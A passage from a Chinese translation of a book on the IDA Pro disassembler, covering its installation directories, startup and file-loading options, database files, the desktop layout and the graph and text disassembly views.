procs目录包含由安装的 IDA 版本支持的处理器模块。处理器模块在 IDA 中提供机器语言到汇编语言的翻译功能,并负责生成在 IDA 用户界面中显示的汇编语言。IDA 处理器模块将在第十九章(第十九章。IDA 处理器模块)中更详细地讨论。

sig

sig目录包含 IDA 用于各种模式匹配操作现有代码的签名。正是通过这种模式匹配,IDA 能够识别代码序列为已知的库代码,这可能在分析过程中为你节省大量时间。这些签名是使用 IDA 的快速库识别和识别技术(FLIRT)生成的,这将在第十二章(第十二章。使用 FLIRT 签名识别库)中更详细地介绍。

sig

til目录包含 IDA 使用的类型库信息,用于记录特定编译库的数据结构布局。在第十三章(第十三章。扩展 IDA 的知识)中将进一步讨论自定义 IDA 类型库。

关于 IDA 用户界面的思考

IDA 的 MS-DOS 血统至今依然明显。无论你使用的是哪种界面(文本或 GUI),IDA 都广泛使用快捷键。虽然这并不一定是个坏事情,但如果你认为自己在文本输入模式中,却发现几乎每个按键都会导致 IDA 执行某个快捷键动作,这可能会产生意外的结果。例如,在使用 GUI 时,如果你将光标定位以进行更改,并期望你输入的任何内容都会出现在光标位置(IDA 不是你母亲用的文字处理器)。

从数据输入的角度来看,IDA 几乎所有的输入都通过对话框进行,所以如果你试图在 IDA 中输入任何数据,务必确保你看到了一个可以输入数据的对话框。唯一的例外是 IDA 的十六进制编辑功能,它仅通过十六进制视图窗口可用。

值得记住的一个最后要点是:在 IDA 中没有撤销操作!如果你不小心按下了会触发快捷键动作的键,不要浪费时间在 IDA 的菜单系统中寻找撤销功能——你找不到。同样,你也不会找到一个命令历史列表来帮助你确定你刚才做了什么。

摘要

在处理完这些琐碎的细节之后,是时候转向使用 IDA 来完成一些有用的任务了。在接下来的几章中,你将了解到如何使用 IDA 进行基本文件分析,学习如何解释 IDA 的数据显示,以及如何操作这些显示来加深你对程序行为的理解。

第二部分. 基本 IDA 使用

第四章. 开始使用 IDA

无标题图片

我们是时候真正开始使用 IDA 了。本书的剩余部分将致力于 IDA 的各种功能和如何利用它们来满足你的逆向工程需求。在本章中,我们首先介绍当你启动 IDA 时呈现给你的选项,然后描述当你打开二进制文件进行分析时究竟发生了什么。最后,我们将快速概述用户界面,为后续章节奠定基础。

为了标准化,本章和本书剩余部分中的示例将以 Windows Qt GUI 界面呈现,除非示例需要特定版本的 IDA(例如 Linux 调试的示例)。

启动 IDA

每次你启动 IDA 时,都会看到一个显示你的许可信息摘要的启动屏幕。一旦启动屏幕消失,IDA 将显示另一个对话框,提供三种进入其桌面环境的方式,如图图 4-1 所示。

启动 IDA

图 4-1. 启动 IDA

如果你不想看到欢迎信息,请随意取消勾选对话框底部的“启动时显示”复选框。如果你勾选了复选框,未来的会话将开始得就像你点击了“Go”按钮一样,你将被直接带到空的 IDA 工作空间。如果在某个时候你渴望看到欢迎对话框(毕竟,它方便地让你返回到最近使用的文件),你需要编辑 IDA 的注册表键,将DisplayWelcome值设置回1。或者,选择 Windows ▸ 重置隐藏消息将恢复所有之前隐藏的消息。

注意

当安装在 Windows 上时,IDA 创建以下注册表键:HKEY_CURRENT_USER\Software\Hex-Rays\IDA^([29])。IDA 本身可以配置的许多选项(而不是编辑配置文件之一)都存储在这个注册表键中。然而,在其他平台上,IDA 将这些值存储在一个二进制数据文件($HOME/.idapro/ida.reg)中,这个文件不易编辑。

图 4-1 中显示的三个选项提供了不同的方法进入 IDA 桌面。这里回顾这三个启动选项:

新建

选择“新建”将打开一个标准的文件打开对话框来选择要分析的文件。在文件选择之后,将显示一个或多个额外的对话框,允许你在文件加载、分析和显示之前选择特定的文件分析选项。

Go

“Go”按钮终止加载过程,并导致 IDA 以空工作区打开。在此阶段,如果您想打开一个文件,您可以将二进制文件拖放到 IDA 桌面上,或者您可以使用文件菜单中的选项之一来打开文件。文件 ▸ 打开命令将显示之前描述的文件打开对话框。默认情况下,IDA 使用一个已知扩展名过滤器来限制文件对话框的视图。请确保您修改或清除过滤器(例如选择所有文件),以便文件对话框正确显示您想要打开的文件.^([30]) 以这种方式打开文件时,IDA 会尝试自动识别所选文件的类型;然而,您应该仔细注意加载对话框,以查看哪些加载器已被选中来处理该文件。

Previous

当您希望打开位于“Previous”按钮下方直接下面的最近文件列表中的一个文件时,应使用“Previous”按钮。最近使用的文件列表由 IDA 的 Windows 注册表键的History子键(或在非 Windows 平台上为ida.reg)中的值填充。历史列表的最大长度最初设置为 10,但可以通过编辑idagui.cfgidatui.cfg(见第十一章中所示的加载对话框。IDA 生成一个潜在文件类型的列表,并在对话框顶部显示该列表。此列表代表最适合处理所选文件的 IDA 加载器。列表是通过按顺序执行 IDA 的loaders目录中的每个文件加载器来创建的,以找到任何识别新文件的加载器^([31])。请注意,在图 4-2 中,Windows PE 加载器(pe.ldw)和 MS-DOS EXE 加载器(dos.ldw)都声称可以识别所选文件。熟悉 PE 文件格式的读者对此不会感到惊讶,因为 PE 文件格式是 MS-DOS EXE 文件格式的扩展形式。列表中的最后一个条目,二进制文件,将始终存在,因为它是 IDA 加载它不识别的文件的默认设置,这为加载任何文件提供了最低级别的加载方法。当提供多个加载器的选择时,除非您拥有与 IDA 的判断相矛盾的具体信息,否则简单地接受默认选择不是一个坏的开端策略。

IDA 加载新文件对话框

图 4-2. IDA 加载新文件对话框

有时,二进制文件将是加载列表中出现的唯一条目。在这种情况下,隐含的信息是没有任何加载器能识别所选文件。如果你选择继续加载过程,请确保根据你对文件内容的理解选择处理器类型。

处理器类型下拉菜单允许你在反汇编过程中指定应使用哪个处理器模块(来自 IDA 的procs目录)。在大多数情况下,IDA 将根据从可执行文件头中读取的信息选择正确的处理器。当 IDA 无法正确确定与打开的文件关联的处理器类型时,你需要在继续文件加载操作之前手动选择处理器类型。

当选择与 x86 系列处理器一起的二进制文件输入格式时,加载段和加载偏移字段才处于活动状态。由于二进制加载器无法提取任何内存布局信息,因此在此处输入的段和偏移值将组合形成加载文件内容的基址。如果在初始加载过程中忘记指定基址,可以使用“编辑 ▸ 段落 ▸ 重置程序”命令在任何时候修改 IDA 图像的基址。

内核选项按钮提供了访问配置 IDA 将用于增强递归下降过程的特定反汇编分析选项的权限。在绝大多数情况下,默认选项提供了最佳的反汇编效果。IDA 的帮助文件提供了有关可用内核选项的更多信息。

处理器选项按钮提供了访问适用于所选处理器模块的配置选项的权限。然而,并非每个处理器模块都一定有处理器选项。处理器选项的帮助有限,因为这些选项非常高度依赖于所选处理器模块以及模块作者的编程能力。

剩余的选项复选框用于对文件加载过程进行更精细的控制。IDA 的帮助文件中进一步描述了每个选项。这些选项并不适用于所有输入文件类型,在大多数情况下,你可以依赖默认选择。可能需要修改这些选项的具体情况将在第二十一章中介绍。

使用二进制文件加载器

当你选择使用二进制加载器时,你需要准备好做比平时更多的处理工作。由于没有文件头信息来指导分析过程,这就需要你自己介入并执行那些更强大的加载器通常会自动完成的任务。可能需要使用二进制加载器的情况包括分析 ROM 镜像和可能从网络数据包捕获或日志文件中提取的利用负载。

当 x86 处理器模块与二进制加载器配对时,将显示图 4-3 所示的对话框。由于没有可识别的文件头部可供 IDA 协助,用户必须指定代码应被视为 16 位还是 32 位模式代码。IDA 可以区分 16 位和 32 位模式的其它处理器包括 ARM 和 MIPS。

x86 模式选择

图 4-3. x86 模式选择

二进制文件不包含有关其内存布局的信息(至少 IDA 不知道如何识别的信息)。当选择 x86 处理器类型时,必须在加载对话框的加载段和加载偏移量字段中指定基本地址信息,如前所述。对于所有其他处理器类型,IDA 将显示图 4-4 所示的内存布局对话框。为了方便起见,你可以创建一个 RAM 部分、一个 ROM 部分或两者都创建,并指定每个部分的地址范围。输入文件选项用于指定应加载输入文件的哪个部分(默认为整个文件),以及文件内容应映射到的地址。

内存组织对话框

图 4-4. 内存组织对话框

图 4-5 展示了二进制加载的最后一步——这是一个温和的提醒,表明你需要做一些工作。信息强调了这样一个事实,即 IDA 没有可用的头部信息来帮助它区分二进制文件中的代码字节和数据字节。此时,你会被提醒指定文件中的一个地址作为入口点,通过告诉 IDA 将该地址的字节(字节)转换为代码(C 是强制 IDA 将该字节视为代码的热键)。对于二进制文件,IDA 在你花费时间至少识别一个字节为代码之前,不会执行任何初始反汇编。

二进制文件加载

图 4-5. 二进制文件加载


^([29]) 旧版本的 IDA 使用HKEY_CURRENT_USER\Software\Datarescue\IDA

^([30]) 在非 Windows 系统中,可执行文件完全没有文件扩展名并不罕见。

^([31]) IDA 加载器将在第十八章中进一步讨论。

IDA 数据库文件

当您对加载选项满意并点击“确定”关闭对话框时,加载文件的实际工作就开始了。此时,IDA 的目标是将选定的可执行文件加载到内存中,并分析相关部分。这将在四个文件中创建一个 IDA 数据库,每个文件都有一个与所选可执行文件匹配的基本名称,其扩展名为 .id0、.id1、.nam 和 .til。.id0 文件包含 B 树风格数据库的内容,而 .id1 文件包含描述每个程序字节的标志。.nam 文件包含与 IDA 名称窗口中显示的命名程序位置相关的索引信息(在第五章中进一步讨论)。最后,.til 文件用于存储有关特定数据库的本地类型定义的信息。这些文件的格式是 IDA 专有的,并且它们在 IDA 环境之外不易编辑。

为了方便,每当您关闭当前项目时,这四个文件都会存档,并且可选地压缩成一个 IDB 文件。当人们提到 IDA 数据库时,他们通常指的是 IDB 文件。未压缩的数据库文件通常是原始输入二进制文件大小的 10 倍。当正确关闭数据库时,您的工作目录中不应出现具有 .id0.id1.nam.til 扩展名的文件。它们的存在通常表明数据库没有正确关闭(例如,当 IDA 崩溃时),并且数据库可能已损坏。

加载器警告

一旦加载器开始分析文件,它可能会遇到需要额外用户输入才能完成加载过程的情况。这种情况的一个例子是带有 PDB 调试信息的 PE 文件。如果 IDA 确定可能存在程序数据库(PDB)文件,您将被询问是否希望 IDA 查找并处理相应的 PDB 文件,如该消息所示:

IDA Pro 确定输入文件与调试信息链接。您是否希望在本地符号存储和 Microsoft 符号服务器中查找相应的 PDB 文件?

加载器生成信息消息的第二个例子出现在混淆程序,如恶意软件中。混淆技术通常对文件格式规范处理得很快,这可能会给期望良好结构化文件的加载器带来问题。了解这一点后,PE 加载器对导入表进行一些验证,如果导入表似乎没有按照惯例格式化,IDA 将显示以下消息:

导入段似乎已被破坏。这可能意味着文件被打包或以其他方式修改,以使其分析更加困难。如果您想以原始形式查看导入段,请清除“制作导入部分”复选框后重新加载。

本错误示例及其处理方法将在第二十一章中介绍。

重要的是要理解,一旦为给定的可执行文件创建了数据库,IDA 就不再需要访问该可执行文件,除非你打算使用 IDA 的集成调试器来调试可执行文件本身。从安全的角度来看,这是一个很好的特性。例如,当你分析恶意软件样本时,你可以将相关的数据库在分析师之间传递,而不必传递恶意可执行文件本身。据知,没有已知案例表明 IDA 数据库被用作恶意软件的攻击向量。

在本质上,IDA(Interactive Disassembler)不过是一个数据库应用程序。新的数据库会自动从可执行文件中创建并填充。IDA 提供的各种显示仅仅是数据库的视图,以对软件逆向工程师有用的格式揭示信息。用户对数据库所做的任何修改都会反映在视图中,并随数据库一起保存,但这些更改对原始的可执行文件没有任何影响。IDA 的力量在于它包含用于分析和操作数据库内数据的工具。

IDA 数据库创建

一旦你选择了要分析的文件并指定了你的选项,IDA 就会启动数据库的创建过程。在这个过程中,IDA 将控制权转交给选定的加载模块,该模块的职责是从磁盘加载文件,解析可能识别的任何文件头信息,创建包含代码或数据的各种程序部分,这些代码或数据在文件头中指定,最后在返回控制权给 IDA 之前,识别代码中的特定入口点。在这方面,IDA 加载模块的行为与操作系统加载模块的行为非常相似。IDA 加载器将根据程序文件头中的信息确定虚拟内存布局,并据此配置数据库。

加载器完成后,IDA 内部的反汇编引擎接管并开始逐个传递地址给选定的处理器模块。处理器模块的职责是确定该地址上指令的类型、该地址上指令的长度以及从该地址继续执行的位置(例如,当前指令是顺序的还是分支的?)。当 IDA 确信它已经找到了文件中的所有指令时,它将对指令地址列表进行第二次遍历,并要求处理器模块为每个指令生成汇编语言版本以供显示。

在此反汇编之后,IDA 会自动对二进制文件进行额外的分析,以提取对分析师可能有用的额外信息。用户可以期待在 IDA 完成其初始分析后,以下信息中的一些或全部被纳入数据库:

编译器识别

了解用于构建软件的编译器通常很有用。识别所使用的编译器可以帮助我们理解二进制文件中使用的函数调用约定,以及确定二进制文件可能链接的库。当文件被加载时,IDA 会尝试识别用于创建输入文件的编译器。如果编译器可以被识别,输入文件将扫描该编译器已知使用的样板代码序列。这些函数将以颜色编码,以减少需要分析的代码量。

函数参数和局部变量识别

在每个已识别的函数(调用指令的目标地址)中,IDA 会详细分析栈指针寄存器的行为,以便识别位于栈内的变量访问,并理解函数栈帧的布局。^([[32)] 基于这些变量作为函数中的局部变量或作为函数调用过程中传递给函数的参数的使用,自动生成这些变量的名称。

数据类型信息

利用对常见库函数及其所需参数的了解,IDA 在数据库中添加注释,以指示参数传递到这些函数的位置。这些注释通过提供信息节省了分析师大量时间,这些信息否则需要从各种应用程序编程接口(API)参考中检索。

关闭 IDA 数据库

无论何时关闭数据库,无论是完全关闭 IDA 还是简单地切换到不同的数据库,都会出现保存数据库对话框,如图 4-6 所示。

保存数据库对话框

图 4-6. 保存数据库对话框

如果这是新创建数据库的初始保存,新数据库的文件名将从输入文件名中派生,将输入扩展名替换为 .idb 扩展名(例如,example.exe 生成名为 example.idb 的数据库)。当输入文件没有扩展名时,将添加 .idb 以形成数据库的名称(例如,httpd 生成 httpd.idb)。以下列表总结了可用的保存选项及其相关影响:

不要打包数据库

此选项仅将更改刷新到四个数据库组件文件,并关闭桌面,而创建 IDB 文件。在关闭数据库时,不推荐使用此选项。

打包数据库(存储)

选择存储选项会将四个数据库组件文件存档为一个单一的 IDB 文件。任何之前的 IDB 文件都将被覆盖,而无需确认。存储选项不使用压缩。一旦创建 IDB 文件,四个数据库组件文件将被删除。

打包数据库(Deflate)

Deflate 选项与 Store 选项相同,只是数据库组件文件是在 IDB 存档内压缩的。

收集垃圾

请求垃圾回收会导致 IDA 在关闭数据库之前删除任何未使用的内存页面。选择此选项与 Deflate 一起使用,以创建尽可能小的 IDB 文件。除非磁盘空间非常紧张,否则通常不需要此选项。

不要保存数据库

你可能会想知道为什么有人会选择不保存他的工作。实际上,这个选项是唯一一种方法来丢弃自上次保存以来对数据库所做的更改。当选择此选项时,IDA 会简单地删除四个数据库组件文件,而不会触及任何现有的 IDB 文件。使用此选项是你在使用 IDA 时获得撤销或恢复功能的最接近方式。

重新打开数据库

当然,重新打开一个现有的数据库并不涉及火箭科学,^([33]) 因此你可能想知道为什么这个主题会被涵盖。在正常情况下,返回到现有的数据库工作非常简单,只需使用 IDA 的文件打开方法之一选择数据库。数据库文件在第二次(以及随后的)打开时打开得更快,因为没有分析要执行。作为额外的奖励,IDA 会将你的 IDA 桌面恢复到关闭时的状态。

现在是坏消息的时候了。信不信由你,IDA 有时会崩溃。无论是由于 IDA 本身的错误还是由于你安装的一些前沿插件中的错误,崩溃都会使打开的数据库处于可能损坏的状态。一旦你重新启动 IDA 并尝试重新打开受影响的数据库,你很可能会看到图 4-7 和图 4-8 中显示的其中一个对话框。

数据库恢复对话框

图 4-7. 数据库恢复对话框

当 IDA 崩溃时,IDA 没有机会关闭活动数据库,中间数据库文件也不会被删除。如果你不是第一次使用特定的数据库,你可能会遇到同时存在 IDB 文件和可能损坏的中间文件的情况。IDB 文件代表数据库的最后一个已知良好状态,而中间文件包含自上次保存操作以来可能进行的任何更改。在这种情况下,你将有机会选择恢复到保存版本或继续使用打开的、可能损坏的版本,如图 图 4-7 所示。选择“继续使用未打包的基”并不能保证你将恢复你的工作。未打包的数据库可能处于不一致的状态,这会提示 IDA 提供如图 图 4-8 所示的对话框。在这种情况下,IDA 本身建议你考虑从打包数据中恢复,所以如果你选择使用修复后的数据库,请务必小心。

数据库修复对话框

图 4-8。数据库修复对话框

当活动数据库从未保存,因此在崩溃时只留下中间文件时,当你再次尝试打开原始可执行文件时,IDA 会立即在 图 4-8 中提供修复选项。


^([32]) 栈帧的讨论在 第六章 中进一步展开。

^([33]) 除非你恰好正在打开 rocket_science.idb

IDA 桌面简介

考虑到你可能会花大量时间盯着 IDA 桌面,你将想要花些时间熟悉其各种组件。图 4-9 展示了一个默认 IDA 桌面的概览。文件分析期间桌面行为将在下一节中讨论。

在这个简介视图中感兴趣的区域包括以下内容:

  1. 工具栏区域 包含与 IDA 最常用操作相对应的工具。使用“视图”▸“工具栏”命令可以将工具栏添加到或从桌面中移除。使用拖放,你可以重新定位每个工具栏以满足你的需求。图 4-9 展示了 IDA 的基本模式工具栏,其中包含一行工具按钮。使用“视图”▸“工具栏”▸“高级模式”可以获取高级模式工具栏。高级模式工具栏包含三行完整的工具按钮。

    IDA 桌面

    图 4-9。IDA 桌面

  2. 水平颜色带是 IDA 的 概览导航器 水平颜色带,也称为 导航带。导航带展示了加载文件的地址空间线性视图。默认情况下,二进制文件的整个地址范围都被表示。您可以通过在导航带内任何位置右键单击并选择可用的缩放选项来放大或缩小地址范围。不同的颜色代表不同类型的文件内容,例如数据或代码。一个小的 当前位置指示器(默认为黄色)指向与在反汇编窗口中显示的当前地址范围相对应的导航带地址。将鼠标光标悬停在导航带的任何部分上都会显示一个工具提示,描述二进制中的该位置。单击导航带会将反汇编视图跳转到二进制中的选定位置。导航带中使用的颜色可以通过选项 ▸ 颜色命令进行自定义。将导航带从 IDA 桌面拖离会产生一个分离的概览导航器,如图 图 4-10 所示。图 图 4-10 还显示了当前位置指示器(位于位置 当前位置指示器 左侧的半长向下箭头)和一个 颜色键,通过功能组识别文件内容。

    概览导航器

    图 4-10. 概览导航器

  3. 回到 图 4-9,为每个当前打开的数据显示提供了 标签 标签。数据显示包含从二进制中提取的信息,并代表对数据库的各种视图。您的大部分分析工作可能将通过与可用的数据显示的交互来完成。图 4-9 显示了三个可用的数据显示:IDA-View、函数和图形概览。通过视图 ▸ 打开子视图菜单可以获得更多数据显示,并且此菜单也用于恢复任何已关闭的显示,无论是故意还是意外关闭的。

  4. 反汇编视图 是主要的数据显示。反汇编视图有两种显示风格:图形视图(默认)和列表视图。在图形视图中,IDA 在任何给定时间显示单个函数的流程图风格图形。当与 图形概览 结合使用时,您可以通过对函数结构的视觉分解来了解函数的流程。当 IDA-View 窗口处于活动状态时,空格键在图形视图样式和列表视图样式之间切换。如果您希望将列表视图设置为默认视图,您必须在“图形”选项卡中取消选中“默认使用图形视图”,通过“选项”▸“常规”菜单进行,如图 图 4-11 所示。

    IDA 图形选项

    图 4-11。IDA 图形选项

  5. 在图形视图中,通常很难一次将整个函数图放入显示区域。仅在图形视图活动时才提供的 图形概览 ,提供了一个基本图形结构的缩略图。一个虚线矩形指示图形视图中当前显示的内容。在图形概览中单击将相应地重新定位图形视图。

  6. 输出窗口 是您可以预期找到由 IDA 生成的任何信息消息的地方。在这里,您可以找到有关文件分析阶段进度的状态消息,以及由用户请求的操作产生的任何错误消息。输出窗口大致相当于控制台输出设备。

  7. 函数窗口 完善了 IDA 的默认显示窗口,将在 第五章 中进一步讨论。

初始分析期间的桌面行为

在对新打开的文件进行初始自动分析期间,IDA 桌面内发生大量活动。您可以通过在分析过程中观察各种桌面显示来了解这种分析。您可能观察到的桌面活动包括以下内容:

  • 打印到输出窗口的进度消息

  • 为反汇编窗口生成的初始位置和反汇编输出

  • 随着分析进展,函数窗口的初始填充,然后定期更新

  • 随着二进制新区域被识别为代码和数据,代码块被进一步识别为函数,最后,使用 IDA 的模式匹配技术将函数特别识别为库代码,导航带的转换

  • 当前位置指示器在导航带中遍历以显示当前正在分析的区域

以下输出是 IDA 在对新打开的二进制文件进行初始分析期间生成的消息的示例。请注意,这些消息构成了分析过程的故事,并提供了对 IDA 在该分析期间执行的操作顺序的见解。

Loading file 'C:\IdaBook\ch4_example.exe' into database...
  Detected file format: Portable executable for 80386 (PE)
    0\. Creating a new segment  (00401000-0040C000) ... ... OK
    1\. Creating a new segment  (0040C000-0040E000) ... ... OK
    2\. Creating a new segment  (0040E000-00411000) ... ... OK
  Reading imports directory...
    3\. Creating a new segment  (0040C120-0040E000) ... ... OK
  Plan  FLIRT signature: Microsoft VisualC 2-10/net runtime
  autoload.cfg: vc32rtf.sig autoloads mssdk.til
  Assuming __cdecl calling convention by default
  main() function at 401070, named "_main"
  Marking typical code sequences...
  Flushing buffers, please wait...ok
  File 'C:\IdaBook\ch4_example.exe' is successfully loaded into the database.
  Compiling file 'C:\Program Files\IdaPro\idc\ida.idc'...
    Executing function 'main'...
  Compiling file 'C:\Program Files\IdaPro\idc\onload.idc'...
  Executing function 'OnLoad'...
  IDA is analysing the input file...
 You may start to explore the input file right now.
  ------------------------------------------------------------------------------
  Python 2.6.5 (r265:79096, Mar 19 2010, 21:48:26) [MSC v.1500 32 bit (Intel)]
  IDAPython v1.4.2 final (serial 0) (c) The IDAPython Team
  <idapython@googlegroups.com>
  ------------------------------------------------------------------------------
  Using FLIRT signature: Microsoft VisualC 2-10/net runtime
  Propagating type information...
  Function argument information has been propagated
 The initial autoanalysis has been finished.

两个特别有用的进度消息是“你现在可以开始探索输入文件了” 和“初始自动分析已完成” 。第一条消息通知你 IDA 在分析方面已经取得了足够的进展,你可以开始浏览各种数据显示。导航并不意味着更改,你应该等待分析阶段完成后才对数据库进行任何更改。如果在分析阶段完成之前尝试更改数据库,分析引擎可能会稍后修改你的更改,或者你甚至可能阻止分析引擎正确执行其任务。第二条消息相当直观,表明你不需要在桌面数据显示中期待更多的自动更改。此时,你可以安全地对数据库进行任何你喜欢的更改。

IDA 桌面技巧与窍门

IDA 提供了大量的信息,其桌面可能会变得杂乱。以下是一些关于如何充分利用桌面的一些技巧:

  • 你为 IDA 贡献的屏幕空间越多,你将越快乐。利用这个事实来证明购买一个超大型显示器(或两个)的合理性!

  • 不要忘记使用“视图 ▸ 打开子视图”命令来恢复你意外关闭的数据显示。

  • “窗口 ▸ 重置桌面”命令提供了一种快速恢复桌面原始布局的有用方法。

  • 使用“窗口 ▸ 保存桌面布局”命令来保存当前桌面配置的布局,这些布局可能特别有用。使用“窗口 ▸ 加载桌面布局”命令可以快速恢复到保存的布局。

  • 唯一可以更改显示字体的窗口是“反汇编窗口”(无论是图形还是列表视图)。字体设置通过“选项 ▸ 字体”命令进行。

报告 bug

就像任何软件一样,IDA 有时会包含一些偶尔的 bug,如果你认为你在 IDA 本身中发现了 bug,你期望从 Hex-Rays 得到什么?首先,Hex-Rays 拥有你可以遇到的反应最快的支持系统之一。其次,如果你在提交支持请求后一天内收到 Ilfak 本人的回复,请不要感到惊讶。

提交错误报告有两种方法。您可以发送电子邮件到 support@hex-rays.com,或者如果您不想使用电子邮件,您也可以在 Hex-Rays 公告板上的错误报告论坛上发帖。在两种情况下,您都应该验证您能否重现您的错误,并准备好向 Hex-Rays 提供涉及问题的数据库文件的副本。请记住,Hex-Rays 仅提供额外费用的 SDK 支持。对于与您已安装的插件相关的错误,您需要联系插件的作者。对于与您正在开发的插件相关的错误,您需要利用 IDA 用户可用的支持论坛,并希望得到其他用户的帮助性回复。

摘要

熟悉 IDA 工作空间将大大增强您使用 IDA 的体验。在没有与您的工具斗争的情况下,逆向工程二进制代码就已经足够困难了。您在初始加载阶段所做的选择以及 IDA 随后进行的自动分析为所有后续分析奠定了基础。在这个阶段,您可能对 IDA 为您完成的工作感到满意,对于简单的二进制文件,自动分析可能就是您所需要的。另一方面,如果您想知道是什么让 IDA 的交互性如此之强,那么您现在就可以更深入地了解 IDA 众多数据显示的功能了。在接下来的章节中,您将了解到每个主要显示,您将在什么情况下发现每个显示有用,以及如何利用这些显示来增强和更新您的数据库。

第五章。IDA 数据显示

无标题图片

到目前为止,您应该对将二进制文件加载到 IDA 并让 IDA 施展魔法同时品尝您最喜欢的饮料有些信心。一旦 IDA 的初始分析阶段完成,就是您接管的时候了。您熟悉 IDA 显示的最好方法之一就是简单地浏览 IDA 填充有关您二进制文件数据的各种选项卡子窗口。随着您对 IDA 的舒适度提高,您逆向工程会议的效率和效果也会提高。

在我们深入探讨 IDA 的主要子显示之前,了解一些关于 IDA 用户界面的基本规则是有用的:

IDA 中没有撤销操作

如果由于意外按键导致您的数据库出现问题,您需要自己将显示恢复到之前的状态。

几乎所有操作都有一个相关的菜单项、热键和工具栏按钮

记住,IDA 工具栏高度可配置,热键到菜单操作的映射也是如此。

IDA 在鼠标右键点击时提供良好的上下文相关菜单操作

虽然这些菜单并没有提供在特定位置允许执行的所有操作的详尽列表,但它们确实作为你将要执行的最常见操作的良好提醒。

考虑到这些事实,让我们开始介绍主要的 IDA 数据显示。

主要的 IDA 显示

在默认配置下,IDA 在为新二进制文件加载和分析阶段创建七个(截至版本 6.1)显示窗口。这些显示窗口中的每一个都可以通过立即显示在导航带下方的一组标题标签访问(如前所述的图 4-9)。三个立即可见的窗口是 IDA-View 窗口、函数窗口和输出窗口。无论它们是否默认打开,本章中讨论的所有窗口都可以通过“视图 ▸ 打开子视图”菜单打开。请记住这个事实,因为不小心关闭显示窗口是相当容易的。

esc 键是 IDA 中所有快捷键中比较有用的一种。当反汇编窗口处于活动状态时,esc 键的功能类似于网络浏览器的后退按钮,因此在导航反汇编显示(导航将在第六章中详细说明)时非常有用。不幸的是,当任何其他窗口处于活动状态时,esc 键的作用是关闭窗口。有时,这正是你想要的。在其他时候,你可能会立刻希望那个关闭的窗口能回来。

反汇编窗口

也称为 IDA-View 窗口,反汇编窗口将是您操作和分析二进制文件的主要工具。因此,熟悉反汇编窗口中信息呈现的方式非常重要。

反汇编窗口提供了两种显示格式:默认的基于图形的视图和以文本为导向的列表视图。大多数 IDA 用户倾向于偏好其中一种视图,而最适合你需求的视图通常取决于你如何偏好可视化程序的流程。如果你偏好使用文本列表视图作为默认的反汇编视图,你可以通过使用“选项 ▸ 一般”对话框在“图形”选项卡上关闭“默认使用图形视图”来更改默认设置。每当反汇编视图处于活动状态时,你可以通过使用空格键在任何时候轻松地在图形和列表视图之间切换。

IDA 图形视图

图 5-1 展示了一个在图形视图中显示的非常简单的函数。图形视图在某种程度上让人联想到程序流程图,因为一个函数被分解成基本块^([34)),这样你可以可视化函数从一块到另一块的控制流。

IDA 图形视图

图 5-1. IDA 图形视图

在屏幕上,你会注意到 IDA 使用不同颜色的箭头来区分函数块之间的各种类型的数据流^([35])。以条件跳转结束的基本块会根据测试的条件生成两种可能的数据流:默认情况下,是边箭头(是的,分支被采取)是绿色的,而否边箭头(不,分支没有被采取)是红色的。以只有一个潜在后继块结束的基本块使用默认为蓝色的正常边来指向下一个要执行的基本块。

在图形模式下,IDA 一次显示一个函数。对于使用滚轮鼠标的用户,可以通过 ctrl-滚轮组合进行图形缩放。键盘缩放控制需要使用 ctrl-+来放大或 ctrl- −来缩小(使用数字键盘上的+和-键)。大型或复杂的函数可能会导致图形视图变得极其杂乱,使得图形难以导航。在这种情况下,可以使用图形概览窗口(见图 5-2)来提供一些情境感知。概览窗口始终显示图形的完整块结构,以及一个虚线框,该框指示当前在反汇编窗口中查看的图形区域。可以拖动虚线框穿过概览窗口,快速重新定位图形视图到图形上的任何所需位置。

图形概览窗口

图 5-2. 图形概览窗口

使用图形显示时,有几种方法可以操纵视图以满足你的需求:

平移

首先,除了使用图形概览窗口快速重新定位图形外,你还可以通过点击并拖动图形视图的背景来重新定位图形。

嘿,这里是不是缺少了什么?

当使用图形视图时,可能会觉得关于每条反汇编指令的信息似乎更少。这是因为 IDA 选择隐藏关于每条反汇编指令的许多更传统信息(例如虚拟地址信息),以最小化显示每个基本块所需的空间。你可以通过从选项 ▸ 通用中的反汇编选项卡中选择,来选择显示每条反汇编指令的附加信息。例如,要为每条反汇编指令添加虚拟地址,我们启用行前缀,将图形从图 5-1 转换为图 5-3 所示的图形。

启用行前缀的图形视图

图 5-3. 启用行前缀的图形视图

重新排列块

可以通过单击所需块的标题栏并将其拖动到新位置来将图中的单个块拖动到新位置。请注意,IDA 仅对移动的块关联的任何边缘进行最小重路由。您可以通过将顶点拖动到新位置来手动重路由边缘。在按住 shift 键的同时双击边缘内的所需位置可以引入新的顶点。如果您在任何时候希望将图形的默认布局恢复为默认布局,可以通过右键单击图形并选择“布局图形”来实现。

分组和折叠块

可以将块分组,无论是单独还是与其他块一起,并且可以折叠以减少显示中的杂乱。折叠块是跟踪您已经分析过的块的特别有用的技术。您可以通过右键单击块的标题栏并选择“分组节点”来折叠任何块。

创建额外的反汇编窗口

如果您想同时查看两个函数的图形,您只需使用“视图”▸“打开子视图”▸“反汇编”打开另一个反汇编窗口。第一个打开的反汇编窗口标题为“IDA View-A”。随后的反汇编窗口标题为“IDA View-B”、“IDA View-C”等等。每个反汇编都是独立的,在另一个窗口中查看文本列表的同时查看一个窗口中的图形或在三个不同的窗口中查看三个不同的图形是完全可接受的。

请记住,您对视图的控制不仅限于这些示例。额外的 IDA 图形功能在第九章中有介绍,而关于操作 IDA 图形视图的更多信息可以在 IDA 帮助文件中找到。

IDA 文本视图

以文本为主的反汇编窗口是用于查看和操作 IDA 生成的反汇编的传统显示方式。文本显示呈现程序的整个反汇编列表(与图形模式中一次显示一个函数相反)并提供查看二进制数据区域的唯一方式。图形显示中可用的所有信息都以某种形式在文本显示中可用。

图 5-4 显示了与图 5-1 和图 5-3 中显示的相同函数的文本视图列表。反汇编以线性方式呈现,默认情况下显示虚拟地址。虚拟地址通常以[节名称]:[虚拟地址]格式显示,例如.text:004011C1

IDA 文本视图

图 5-4。IDA 文本视图

显示的左侧部分,如图 所示,被称为 箭头窗口,用于表示函数中的非线性流程。实线箭头表示无条件跳转,而虚线箭头表示条件跳转。当跳转(条件或无条件)将控制权转移到程序中的较早地址时,使用粗重的线条(实线或虚线)。这种程序中的反向流程通常表明存在循环。在 图 5-4 中,循环箭头从地址 004011CF 流向 004011C5

